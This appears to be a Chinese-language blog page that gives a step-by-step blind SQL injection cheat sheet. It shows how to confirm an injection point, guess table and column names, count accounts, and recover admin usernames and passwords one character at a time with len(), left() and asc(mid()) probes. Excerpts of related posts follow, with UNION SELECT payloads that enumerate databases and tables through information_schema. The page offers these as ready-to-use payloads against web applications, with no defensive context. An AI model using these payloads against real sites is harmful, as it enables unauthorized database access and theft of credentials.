標準SQL注入語句

2022-08-24 02:24:13 字數 1392 閱讀 8280

1.判斷有無注入點

; and 1=1 and 1=2

2.猜表一般的表的名稱無非是admin adminuser user pass password 等..

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) ---判斷是否存在admin這張表

3.猜帳號數目 如果遇到0< 返回正確頁面 1《返回錯誤頁面說明帳號數目就是1個

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4.猜解欄位名稱 在len( ) 括號裡面加上我們想到的欄位名稱.

and 1=(select count(*) from admin where len(*)>0)--

and 1=(select count(*) from admin where len(使用者欄位名稱name)>0)

and 1=(select count(*) from admin where len(_blank>密碼欄位名稱password)>0)

5.猜解各個欄位的長度 猜解長度就是把》0變換 直到返回正確頁面為止

and 1=(select count(*) from admin where len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 錯誤

and 1=(select count(*) from admin where len(name)>5) 正確 長度是6

and 1=(select count(*) from admin where len(name)=6) 正確

and 1=(select count(*) from admin where len(password)>11) 正確

and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12

and 1=(select count(*) from admin where len(password)=12) 正確

6.猜解字元

and 1=(select count(*) from admin where left(name,1)=a) ---猜解使用者帳號的第一位

and 1=(select count(*) from admin where left(name,2)=ab)---猜解使用者帳號的第二位

就這樣一次加乙個字元這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了

and 1=(select top 1 count(*) from admin where asc(mid(pass,5,1))=51) --

SQL注入語句

對於sql語句注入來說 最重要的是利用其系統已存在的乙個information.schema 其中schemata是用來查詢庫名稱 tables用來查詢表名稱 columns用來查詢列名稱 order by語句用來判斷當前庫的列數 select用來查詢庫中的資訊 關於sql注入的相關流程 1.首先判...

Sql語句注入漏洞

sql語句作為國際標準的資料庫查詢語句,在各種程式設計環境中得到了廣泛的應用。作為乙個成熟 穩定的系統,使用者登陸和密碼驗證是必不可少的。筆者在平時的程式設計工作中發現,許多程式設計師在用sql語句進行使用者 密碼驗證時是通過乙個類似這樣的語句來實現的 sql select from 使用者表 wh...

sql注入語句大全

union select 1,database 2231 23 查詢當前資料庫union select 1,group concat schema name 3 from information schema.schemata 23 union select 1,group concat table...